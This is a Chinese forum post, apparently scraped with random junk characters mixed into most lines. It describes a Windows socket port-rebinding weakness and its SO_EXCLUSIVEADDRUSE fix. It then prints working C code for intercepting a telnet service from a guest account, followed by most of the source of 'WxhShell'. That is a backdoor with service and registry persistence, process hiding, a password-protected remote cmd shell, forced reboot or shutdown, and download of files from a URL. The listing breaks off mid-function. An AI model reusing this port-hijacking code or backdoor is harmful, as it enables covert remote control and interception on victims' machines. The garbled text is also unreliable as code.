在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n6UU6t{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
70*iJ^| U
<$xp saddr.sin_family = AF_INET;
nV xMo_ ^8*SCM_A saddr.sin_addr.s_addr = htonl(INADDR_ANY);
s!fY^3 'xXqEwi4 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
w|FVqX QOy&!6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0?;Hmq3 [T#a1! 这意味着什么?意味着可以进行如下的攻击:
xI\s9_"Qy Fl3r!a!P, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
d47:2Zj '2J6%Gg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
QV7c9)<]'} o@` E.4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_@;3$eB XoiYtx53 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
YeVc,B' ~
2oP, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
m+^;\DFJ, 3[i!2iL. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
G$`4.,g 9Kx:^~}20o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>N1]h'q> vA-p}]% #include
.%b_3s". #include
jz7ltoP #include
<Jrb"H[T" #include
u#,'ys DWORD WINAPI ClientThread(LPVOID lpParam);
U5$DJ5>8 int main()
Y@S6m@.$ {
TaO;r=2 WORD wVersionRequested;
g E+OQWu DWORD ret;
Z3~*R7G8> WSADATA wsaData;
D2cIVx3:( BOOL val;
q>4i0p8^ SOCKADDR_IN saddr;
O36r
,/X SOCKADDR_IN scaddr;
C|@k+^S int err;
Z?aR9OTP
SOCKET s;
Hz3X*G\5b SOCKET sc;
!!O{ ppM int caddsize;
z\d2T%^:g( HANDLE mt;
VgTI2 DWORD tid;
NWN )b&} wVersionRequested = MAKEWORD( 2, 2 );
3C[4!>| err = WSAStartup( wVersionRequested, &wsaData );
n(xlad if ( err != 0 ) {
_ rVX_
printf("error!WSAStartup failed!\n");
{^MAdC_ return -1;
xKzFrP;/{ }
5T3>fw2G saddr.sin_family = AF_INET;
t%B!\] RAQ;O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Vzm+Ew
_ h`rjD d saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
W&f Py%g
saddr.sin_port = htons(23);
|5B9tjJ" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
at]Q4 {
H[k3)r2 printf("error!socket failed!\n");
na:^7:I return -1;
gH)B`
@ }
$uB(@Ft. val = TRUE;
N;pr: //SO_REUSEADDR选项就是可以实现端口重绑定的
7[0k5- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
rh&Eu qE% {
L;7mt
4H printf("error!setsockopt failed!\n");
<OfzE5 return -1;
c7!`d.{90 }
Cbvl( ( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ts!aKx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
w=o m7%J@l //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
EXzNehO~e [IA==B7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:FpBz~!a {
L([ >yQZ ret=GetLastError();
=,G(1# printf("error!bind failed!\n");
A8(PI)Ic. return -1;
qk1D#1vl }
6mpUk.M" listen(s,2);
#h|< > while(1)
\9zC?Cw {
yP]W\W' caddsize = sizeof(scaddr);
OBQ!0NM_b //接受连接请求
$KHDS:& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
U%\2drM&] if(sc!=INVALID_SOCKET)
,#OG/r-H {
ulo7d1OVkJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
=PM#eu if(mt==NULL)
l%~zj,ew {
y'/9KrV
T printf("Thread Creat Failed!\n");
L%Q *\d break;
P;p g+L.I }
7N=VVD~!b }
# |[@Due CloseHandle(mt);
$0 zL }
o}Np}PE6 closesocket(s);
FWTl:LqFO WSACleanup();
.tsB$,/ return 0;
j=>Gfo }
g``4U3T%X DWORD WINAPI ClientThread(LPVOID lpParam)
u Aa>6R {
jhM|gV& SOCKET ss = (SOCKET)lpParam;
PQ]N>'v- SOCKET sc;
%'O(Y{$Y. unsigned char buf[4096];
x:lf=DlA SOCKADDR_IN saddr;
lf#six long num;
]+9:i!s DWORD val;
)!72^rl DWORD ret;
dsuW4^l //如果是隐藏端口应用的话,可以在此处加一些判断
jzMGRN/67 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=ab}.dWC saddr.sin_family = AF_INET;
b"bj|qF~E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
k]5L\]>y saddr.sin_port = htons(23);
TY?io@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ve)
:I {
h(sKGCG printf("error!socket failed!\n");
i.4[]f[/h return -1;
n(VMGCZPV }
!W^II>Y val = 100;
-bfd><bs if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
['1?'* {
7B`0mK3 ret = GetLastError();
O v6=|]cW return -1;
b6BIDuRb }
J?$uNlI if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
42LV>X#i {
6d8 ret = GetLastError();
SUhP
e+ return -1;
tjt#VFq? }
m#'9)%t!J if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!/j|\_O {
-E"o)1Pj6C printf("error!socket connect failed!\n");
c[q3O** closesocket(sc);
6fyW6xv[, closesocket(ss);
?GZs5CnS return -1;
e~dU " }
$y}Tbm while(1)
ljmHX2p {
g'E^@1{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
h,G$e|[? //如果是嗅探内容的话,可以再此处进行内容分析和记录
IYN`q'%| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
"&F/'';0}E num = recv(ss,buf,4096,0);
Y7HWf if(num>0)
kfV}w, send(sc,buf,num,0);
N@S;{uK else if(num==0)
t-/^ O break;
"p\KePc;@ num = recv(sc,buf,4096,0);
gO36tc:ce if(num>0)
\g/E4U.+ send(ss,buf,num,0);
:;QLoZh^ else if(num==0)
S)?B
I break;
m`aUz}Y>c }
p9J( ,} closesocket(ss);
l[Oxf| closesocket(sc);
X3vrD{uNU return 0 ;
Uz_{jAhW] }
L^}kwu# QKxuvW #a|5A:g% ==========================================================
9AaixI **"sru;@= 下边附上一个代码,,WXhSHELL
V6N#%(?3 ww*F}}( ==========================================================
Emo]I[<&q V qf}(3K0 #include "stdafx.h"
seim?LK \)hmg #include <stdio.h>
e2v,#3Q\ #include <string.h>
2J$Uz,@ #include <windows.h>
gnt[l0m #include <winsock2.h>
7 m%|TwJN #include <winsvc.h>
nS#;<p$\ #include <urlmon.h>
X8<ygci+.5 TkykI #pragma comment (lib, "Ws2_32.lib")
pQD8#y)` C #pragma comment (lib, "urlmon.lib")
h#>67gJV JaEyVe #define MAX_USER 100 // 最大客户端连接数
8dfx _kY`/ #define BUF_SOCK 200 // sock buffer
Q_S
fFsY #define KEY_BUFF 255 // 输入 buffer
3? "GH1e oc.x1<Nd #define REBOOT 0 // 重启
%* 8QLI #define SHUTDOWN 1 // 关机
z^]nP87 qabM@+m[ #define DEF_PORT 5000 // 监听端口
IiL?@pIq <JlKtR&nSo #define REG_LEN 16 // 注册表键长度
fO+;%B #define SVC_LEN 80 // NT服务名长度
bbnAmZ ~2H)#`\ac8 // 从dll定义API
Cv3H%g+as typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ZtiOf}@i\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&E~7ty' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
m-K6y7t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
71eD~fNdx azSS:=A // wxhshell配置信息
uG<+IT|x struct WSCFG {
g6S8@b))| int ws_port; // 监听端口
\AG,dMS char ws_passstr[REG_LEN]; // 口令
~![R\gps int ws_autoins; // 安装标记, 1=yes 0=no
~$5[#\5%G char ws_regname[REG_LEN]; // 注册表键名
#t\Oq9}^ char ws_svcname[REG_LEN]; // 服务名
#"jWPe,d char ws_svcdisp[SVC_LEN]; // 服务显示名
J_tJj8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
_ h#G- char ws_passmsg[SVC_LEN]; // 密码输入提示信息
'RhMzPmY> int ws_downexe; // 下载执行标记, 1=yes 0=no
:98Pe6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
>2$M~to"1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_\"?:~rUN OTzh=Z^r };
#Ew}@t9 /[mCK3_ // default Wxhshell configuration
!#3R<bW`R8 struct WSCFG wscfg={DEF_PORT,
*+iWB_ "xuhuanlingzhe",
'del|"h!M 1,
dM)fr "Wxhshell",
I".r`$XZ "Wxhshell",
6@ +
>UZr\ "WxhShell Service",
t+pI<c^]y "Wrsky Windows CmdShell Service",
~ohW9Z1 "Please Input Your Password: ",
h0!j ;fn 1,
5s0H4 ?S "
http://www.wrsky.com/wxhshell.exe",
GXwV>)!x "Wxhshell.exe"
"C>KKs } };
=|6IyL_N jjs-[g'} // 消息定义模块
"<kmiK/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
xv
/w % char *msg_ws_prompt="\n\r? for help\n\r#>";
TJCoID7a8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
-7lJ char *msg_ws_ext="\n\rExit.";
UrgvG, Lt char *msg_ws_end="\n\rQuit.";
}/6jom9U? char *msg_ws_boot="\n\rReboot...";
+Q{jV^IT9 char *msg_ws_poff="\n\rShutdown...";
(2S,0MHk char *msg_ws_down="\n\rSave to ";
O32:j
>_R5Li char *msg_ws_err="\n\rErr!";
h><;TAp char *msg_ws_ok="\n\rOK!";
7Y_S%B:F _M7AQ5 char ExeFile[MAX_PATH];
Lz4iLLP int nUser = 0;
HYtkSsXLN HANDLE handles[MAX_USER];
9nB:=`T9 int OsIsNt;
J,k{Bm %_5B"on SERVICE_STATUS serviceStatus;
%H:!/'45 SERVICE_STATUS_HANDLE hServiceStatusHandle;
o rEo$e< b
afYjF< 3 // 函数声明
Yu'lD` G int Install(void);
<53~Y int Uninstall(void);
[z?q-$# int DownloadFile(char *sURL, SOCKET wsh);
D:f0Wv int Boot(int flag);
F3+)bIz void HideProc(void);
nU/v(lN int GetOsVer(void);
zd+8fP/UB int Wxhshell(SOCKET wsl);
W8\K_M} void TalkWithClient(void *cs);
"8s0~[6S int CmdShell(SOCKET sock);
Pb!kl # int StartFromService(void);
98A ; R int StartWxhshell(LPSTR lpCmdLine);
#[2]B8NZ b"p,~{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$ U<xrN>O VOID WINAPI NTServiceHandler( DWORD fdwControl );
,Xao{o( CfAX,f"ZP
// 数据结构和表定义
b d9]' SERVICE_TABLE_ENTRY DispatchTable[] =
A|jaWZM- {
/mvuSNk {wscfg.ws_svcname, NTServiceMain},
^oj)#(3C {NULL, NULL}
v50=D/&w };
afH`<! 7j5 l?K- // 自我安装
N[czraFBD} int Install(void)
2rne=L {
UnGG% char svExeFile[MAX_PATH];
ze]2-B4 HKEY key;
P#6y strcpy(svExeFile,ExeFile);
0F)Y[{h< Qb6s]QZEV // 如果是win9x系统,修改注册表设为自启动
,xNuc$8Jd if(!OsIsNt) {
'a*tee ^RS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&c0U\G|j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ZY=x$($f RegCloseKey(key);
UT+B*?,h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
z>hA1*Ti RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|G{TA RegCloseKey(key);
kE=}. return 0;
-k=02?0p+ }
we!}"'E; }
C;M.dd }
nxCwg> else {
rk{DrbRx 2?#IwT' // 如果是NT以上系统,安装为系统服务
nJlrBf_Kj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
rE EWCt if (schSCManager!=0)
pGh2 4E {
/wVrr%SN SC_HANDLE schService = CreateService
jCxw|tmgq (
q@H?ohIH schSCManager,
3S ,D~L^ wscfg.ws_svcname,
d0eMDIm3R\ wscfg.ws_svcdisp,
| x/, SERVICE_ALL_ACCESS,
$Ic:
c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
L+bU~N,+A SERVICE_AUTO_START,
u-=%gx"Di SERVICE_ERROR_NORMAL,
@u#Tx% svExeFile,
Z25^+)uf*U NULL,
F`r=M%yh NULL,
Q3*@m NULL,
!0{":4\ NULL,
ANZD7v6a NULL
TIYI\/a\; );
YD 1u if (schService!=0)
Vnlns2pQl {
UF3WpA CloseServiceHandle(schService);
aPWlV= oG CloseServiceHandle(schSCManager);
_py%L+&{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
lZ'-?xo strcat(svExeFile,wscfg.ws_svcname);
;J Fy
8Rj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
xQ=[0!p+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^
1}_VB)^ RegCloseKey(key);
FT!|YJz<K return 0;
KFvNsqd }
y".uu+hL` }
l
2y_Nz-; CloseServiceHandle(schSCManager);
Zqc+PO3lw }
AtGk
_tpVZ }
JL=MlZ 3~iIo&NZ return 1;
|9$K'+' }
[/.o>R#J( 9X/c%:)\= // 自我卸载
uW},I6g int Uninstall(void)
T1.`*,t)= {
u|z B\zd HKEY key;
$fR[zBxA ^&>(_I\w.6 if(!OsIsNt) {
UEbRg =6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
F
0q#. RegDeleteValue(key,wscfg.ws_regname);
+q[puFfl RegCloseKey(key);
a=>PGriL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ew~piuj RegDeleteValue(key,wscfg.ws_regname);
,Y6Me+5B RegCloseKey(key);
sg RY`U.C return 0;
ZnVi.s~1V }
pj4M|'F7 }
5B)Z@-x2 }
I@76ABu^ else {
zc%#7"FM ,#@B3~giC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
:
z*OAl" if (schSCManager!=0)
?{ns1nW: {
I'%vN^e^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
qc;9{$?xV if (schService!=0)
&_n~# Mex {
l$=Y(Xk if(DeleteService(schService)!=0) {
n@r'b{2;l CloseServiceHandle(schService);
Q[O[,Rk CloseServiceHandle(schSCManager);
q^ lx03 return 0;
WB<_AIt+ }
wyvrNru<l4 CloseServiceHandle(schService);
M}MXR=X, }
O:3LA-vA CloseServiceHandle(schSCManager);
~OO&%\$k }
[R:\ }
`],'fT|,S K"B2
SsC return 1;
\q(DlqTqs }
H}5zKv.T k \rzvo=U // 从指定url下载文件
/X>Fn9mM int DownloadFile(char *sURL, SOCKET wsh)
Pi7vuOJr8 {
pVbgjJI HRESULT hr;
W =fs"< char seps[]= "/";
xO"fg9a char *token;
gIa/sD2m> char *file;
?$T!=e" char myURL[MAX_PATH];
s=9gp$9m char myFILE[MAX_PATH];
tp"dho %QH "x`; strcpy(myURL,sURL);
bAS('R;4 token=strtok(myURL,seps);
oVk*G while(token!=NULL)
'_!j9A]g {
Q[+&n* file=token;
DA;,)A&=Q token=strtok(NULL,seps);
w],+l N; }
Y?G\@6 6B>1"h%Wf GetCurrentDirectory(MAX_PATH,myFILE);
-?{bCq strcat(myFILE, "\\");
2~[f<N strcat(myFILE, file);
z=C'qF` send(wsh,myFILE,strlen(myFILE),0);
,5`pe%W7 send(wsh,"...",3,0);
)bN|*Bw3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
FaS}$-0 if(hr==S_OK)
ti$d.Kc( return 0;
p!5=1$ else
{nTQc2T?; return 1;
Uv|z
c VQA}! p }
k/[*Wz$W "#Ov!t // 系统电源模块
]gI>ay"\QA int Boot(int flag)
49.
@Uzo {
c4Q{ HANDLE hToken;
<5rs~ TOKEN_PRIVILEGES tkp;
#m
yiZL% &s m7R i if(OsIsNt) {
HRP4"#9R OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]r++YIg!j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
4JF)w;X} tkp.PrivilegeCount = 1;
mHcxK@qw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?z,^QjQ} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
IRy!8A=X if(flag==REBOOT) {
fT9z 4[M if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
uLFnuK return 0;
rz/^_dV }
=fk+"!-i%" else {
%@JNX}Y' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+|6
'7Z(9 return 0;
F-K=Otj }
F~j
U; L }
my+y<C-o` else {
}2dz];bR if(flag==REBOOT) {
Bc1[^{`bq^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
bMWL^ *I return 0;
\GA6;6%Oo }
s%Ez/or(T else {
I{>U 7i
5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
N$#518 return 0;
4-lG{I_S: }
8w,U[aJm }
$r0~&$T& *]uo/g return 1;
LObS
7U }
Bqo8G-> Y4E UW% // win9x进程隐藏模块
(pY'v/ a- void HideProc(void)
w#V{'{DKp {
nT
UKA )nJo\HFXv HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X;$g7A if ( hKernel != NULL )
0}' {
<?|v-(E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
-"*UICd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
YbS$D FreeLibrary(hKernel);
r0
%WGMk2 }
\;w$"@9 ^H]q[XFR return;
)C>4?) }
d)V"tSC, NyHHK8> // 获取操作系统版本
Z:F5cXt< int GetOsVer(void)
%C&HR2 {
`LD#fg* OSVERSIONINFO winfo;
8S;]]*cD~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;O8Uc&:P GetVersionEx(&winfo);
P_:A%T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
l!Bc0 return 1;
:=J~t@ else
w[g(8#* return 0;
yO@KjCv" }
m~KGB" wPhN_XV // 客户端句柄模块
,SEC~)L int Wxhshell(SOCKET wsl)
G/Ll4
: {
B+e$S%HV SOCKET wsh;
R7'a/ struct sockaddr_in client;
Vp3r DWORD myID;
|Ld/{&Qr vfb~S~|U6g while(nUser<MAX_USER)
z}XmRc_Ko {
<hG=0Zc r int nSize=sizeof(client);
KIt:ytFx wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
dQhh,} if(wsh==INVALID_SOCKET) return 1;
DK2m(9/`3 ?sF<L/P0
F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!@ERAPuk if(handles[nUser]==0)
;Dl< GW3< closesocket(wsh);
"T>74bj_|Q else
K@ZK@++ nUser++;
:]?y,e%xu, }
RRYm.dMIw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
~( %TQY5 ` oBlv return 0;
"S$4pj`< }
x,kZ>^]&b [X >sG)0S~ // 关闭 socket
YyI4T/0s_ void CloseIt(SOCKET wsh)
b"`Vn, {
:mwNkT2et closesocket(wsh);
qw]:oh&G nUser--;
T<!&6,N A ExitThread(0);
[c6I/U=- }
yc|j]? eUiJl6^x // 客户端请求句柄
Z1V%pg>]* void TalkWithClient(void *cs)
x --buO {
Q~/TqG
U P\"|b\O1 SOCKET wsh=(SOCKET)cs;
Kv**(~FNnH char pwd[SVC_LEN];
ujF*'*@\
char cmd[KEY_BUFF];
l=jfgsjc char chr[1];
lYZ5FacqC int i,j;
E_VLI'Hn? .gmNE$d while (nUser < MAX_USER) {
JN5<=x5r _ZgIm3p0A if(wscfg.ws_passstr) {
GWs[a$| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]
i;xeo, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.(!> *ka| //ZeroMemory(pwd,KEY_BUFF);
U p1&( i=0;
y 1DP`Ro while(i<SVC_LEN) {
f< A@D"m/ A0x"Etbw) // 设置超时
|T53m;D fd_set FdRead;
],rtSUO struct timeval TimeOut;
>eHSbQu/Bu FD_ZERO(&FdRead);
zE"ME*ou FD_SET(wsh,&FdRead);
qPgLSZv TimeOut.tv_sec=8;
9S"c-"y\# TimeOut.tv_usec=0;
h> K~<BAz' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
IvLo&6swW if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
CTu#KJ?j }F=+*-SYZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
a<CN2e_Z pwd
=chr[0]; &@E{0ZD
if(chr[0]==0xd || chr[0]==0xa) { 5<-_"/_
pwd=0; ]ZkhQ%
break; j~+<~2%c
} d
]LF5*i
i++; 5B+>28G%
} >Le L%$
_c}@Fi+E
// 如果是非法用户,关闭 socket FU-YI"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ; aA,H&
} ZVo%ssVt
chjXsq#Q^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "zSi9]j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Nx'Nq9y
P19nF[A
while(1) { E|u#W3-:
S"FIQ&n
ZeroMemory(cmd,KEY_BUFF); $ t' .
i?R+Ul`Q
// 自动支持客户端 telnet标准 d/>owCwQ
j=0; =
;sEi:HC
while(j<KEY_BUFF) { (;1FhIi&
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :[#g_*G@p
cmd[j]=chr[0]; #V4kT*2P)
if(chr[0]==0xa || chr[0]==0xd) { U1?*vwfKZ
cmd[j]=0; ; z_ZZ(W
break;
t#s?:
} Y,O)"6ev
j++; R:+2}kS5e{
} ]w!gv
/;
]d#Lfgo
// 下载文件 3`@alhD'
if(strstr(cmd,"http://")) { (eS/Q%ZGK
send(wsh,msg_ws_down,strlen(msg_ws_down),0); KjR^6v
if(DownloadFile(cmd,wsh)) w*.q t<rH)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yk',a$.S
else >t2E034_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2ye^mJ17
} w3lR8R]
else { )zK`*Fa
az
neW_mu;~Z
switch(cmd[0]) { 8y;W+I(71
<1tFwC|4BJ
// 帮助 *hI
case '?': { A|sTnhp~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
HJpkR<h
break; ZM oV!lu
} %1Gat6V<'
// 安装 wN,DTmtD
case 'i': { a\an
if(Install()) *@'4 A :A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /H+br_D9
else VO ^[7Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /E'c y
break; h?wNmLre
} +W+O7SK\y
// 卸载 #W#GI"K
case 'r': { !4uTi [e
if(Uninstall()) f(.@]eu
X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); reml|!F-)
else Sfc0 ~1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T1bPI/
break; srfFJX7*
} .5+*,+-
// 显示 wxhshell 所在路径 b9uo6u4s
case 'p': { l1^/Q~u
char svExeFile[MAX_PATH]; t59"[kQ
strcpy(svExeFile,"\n\r"); @
mm*S:Gt#
strcat(svExeFile,ExeFile); 8%s^>.rG
send(wsh,svExeFile,strlen(svExeFile),0); eCB(!Y|
break; a
p-\R
} $ "[1yQ<p
// 重启 P+pL2 BA
case 'b': { mIVnc`3s
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P<b.;Oz__-
if(Boot(REBOOT)) O@[c*3]e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |fdr\t#'~
else { fII;t-(x
closesocket(wsh); t
?8
?Ok
ExitThread(0); dj*%^cI
} )|`eCzCB
break; Q+|8|V}w
} )&di
c6r
// 关机 zI/)#^ SQ
case 'd': { p2}$S@GD
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <,qJ%kc
if(Boot(SHUTDOWN)) dzDh V{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I}/o`oc
else { Gv[W)+3f
closesocket(wsh); 'Im7^!-d
ExitThread(0); PbOLN$hP
} 9`}Wp2
break; "'H$YhY]
} Ju$= Tn
// 获取shell `Z]Tp1U
case 's': { FUzIuz 6
CmdShell(wsh); &fA`Od6l"
closesocket(wsh); sZFIQ)b9
ExitThread(0); F/9]{H
break; b_Ns
Ch3@
} -jsNAQ
// 退出 8[i#x|`g
case 'x': { vQ=W<>1
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \a+F/I$hwa
CloseIt(wsh); DX.u"&Mm
break; 7"F
w8;k
} .{D[!Dp#h
// 离开 dDN#>|
case 'q': { ~[XDK`B
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2<}^m/}
closesocket(wsh); q[{q3-W
WSACleanup(); /km^IH
exit(1); s~Wj h7'
break; ,>CFw-Nxu
} 9
O| "Ws>{
} 0'O; H[nrl
} ey<u
v'*
// 提示信息 "!<Kmh5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6'W79
} ~rEU83
} xB:,l'\G
RC Fb&,51
return; GL&ri!,
} f9H;e(D9]
]d?`3{h9LD
// shell模块句柄 8}Rwf?B
int CmdShell(SOCKET sock) fI}Z`*
{ N8(xz-6
STARTUPINFO si; E :*!an
ZeroMemory(&si,sizeof(si)); `+$'bNPn&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LFy5tX#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I1U {t
PROCESS_INFORMATION ProcessInfo; =zXpeo&|m
char cmdline[]="cmd"; S!8eY `C.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k: PO"<-U
return 0; '5wa"/ ?w
} uRG0}>]|U
y
%Get
// 自身启动模式 %)*!(%\S*3
int StartFromService(void) ju8tNL,J
{ # 'G/&&<
typedef struct ug[|'tR8
{ pI7\]e
DWORD ExitStatus; N kp>yVj
DWORD PebBaseAddress; @PuJre4!;L
